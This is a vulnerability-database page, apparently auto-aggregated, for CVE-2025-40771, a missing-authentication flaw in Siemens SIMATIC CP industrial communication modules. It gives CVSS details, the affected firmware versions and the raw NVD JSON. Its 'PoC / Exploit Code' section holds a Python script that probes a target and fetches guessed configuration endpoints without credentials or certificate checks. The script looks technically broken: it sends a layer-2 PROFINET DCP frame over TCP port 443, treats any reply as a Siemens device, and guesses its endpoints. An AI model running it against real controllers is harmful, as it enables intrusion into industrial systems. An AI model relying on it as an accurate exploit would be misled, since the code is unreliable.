Security Vulnerability Report
中文
CVE-2025-40771 CVSS 9.8 CRITICAL

CVE-2025-40771

Published: 2025-10-14 10:15:38
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in SIMATIC CP 1542SP-1 (6GK7542-6UX00-0XE0) (All versions < V2.4.24), SIMATIC CP 1542SP-1 IRC (6GK7542-6VX00-0XE0) (All versions < V2.4.24), SIMATIC CP 1543SP-1 (6GK7543-6WX00-0XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (6AG2542-6VX00-4XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC (6AG1543-6WX00-7XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (6AG2543-6WX00-4XE0) (All versions < V2.4.24). Affected devices do not properly authenticate configuration connections. This could allow an unauthenticated remote attacker to access the configuration data.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SIMATIC CP 1542SP-1 (6GK7542-6UX00-0XE0) 所有版本 < V2.4.24
SIMATIC CP 1542SP-1 IRC (6GK7542-6VX00-0XE0) 所有版本 < V2.4.24
SIMATIC CP 1543SP-1 (6GK7543-6WX00-0XE0) 所有版本 < V2.4.24
SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (6AG2542-6VX00-4XE0) 所有版本 < V2.4.24
SIPLUS ET 200SP CP 1543SP-1 ISEC (6AG1543-6WX00-7XE0) 所有版本 < V2.4.24
SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (6AG2543-6WX00-4XE0) 所有版本 < V2.4.24

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40771 PoC - Siemens SIMATIC CP Authentication Bypass # This PoC demonstrates unauthorized access to configuration data # on affected Siemens SIMATIC CP devices (firmware < V2.4.24) import requests import socket import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def scan_siemens_cp(target, port=443): """Detect Siemens SIMATIC CP device on the network""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target, port)) # Send PROFINET DCP identify request to detect device dcp_identify = b'\x00\x00\x00\x00\x00\x00\x00\x00\x88\x92\x00\x00\x00\x00' sock.send(dcp_identify) response = sock.recv(1024) if b'Siemens' in response or len(response) > 0: print(f"[+] Siemens device detected at {target}:{port}") return True sock.close() except Exception as e: pass return False def exploit_cve_2025_40771(target, port=443): """Exploit CVE-2025-40771 to access configuration without authentication""" # Common configuration endpoints on Siemens SIMATIC CP config_endpoints = [ "/Configuration/Configuration.xml", "/api/configuration", "/portal/Configuration.asp", "/cgi-bin/configuration.cgi", "/Diagnostics/Configuration.html", "/snmp/configuration", ] print(f"[*] Targeting {target}:{port}") print(f"[*] CVE-2025-40771 - Authentication Bypass on SIMATIC CP") for endpoint in config_endpoints: url = f"https://{target}:{port}{endpoint}" try: # No authentication credentials provided - exploiting the vulnerability response = requests.get( url, verify=False, timeout=10, headers={ "User-Agent": "Mozilla/5.0 (compatible; SiemensCP-Client)", "Accept": "application/xml, text/html, */*" } ) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Accessed {endpoint} without authentication!") print(f"[+] Response length: {len(response.content)} bytes") print(f"[+] Configuration data:\n{response.text[:500]}") return response.text except requests.exceptions.RequestException as e: continue print("[-] Could not access configuration endpoints") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 if scan_siemens_cp(target, port): config_data = exploit_cve_2025_40771(target, port) if config_data: print("\n[!] Vulnerability CVE-2025-40771 confirmed!") print("[!] Unauthorized access to configuration data successful") else: print("[-] Target does not appear to be a Siemens SIMATIC CP device")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40771", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:38.297", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SIMATIC CP 1542SP-1 (6GK7542-6UX00-0XE0) (All versions < V2.4.24), SIMATIC CP 1542SP-1 IRC (6GK7542-6VX00-0XE0) (All versions < V2.4.24), SIMATIC CP 1543SP-1 (6GK7543-6WX00-0XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (6AG2542-6VX00-4XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC (6AG1543-6WX00-7XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (6AG2543-6WX00-4XE0) (All versions < V2.4.24). Affected devices do not properly authenticate configuration connections. This could allow an unauthenticated remote attacker to access the configuration data."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-486936.html", "source": "[email protected]"}]}}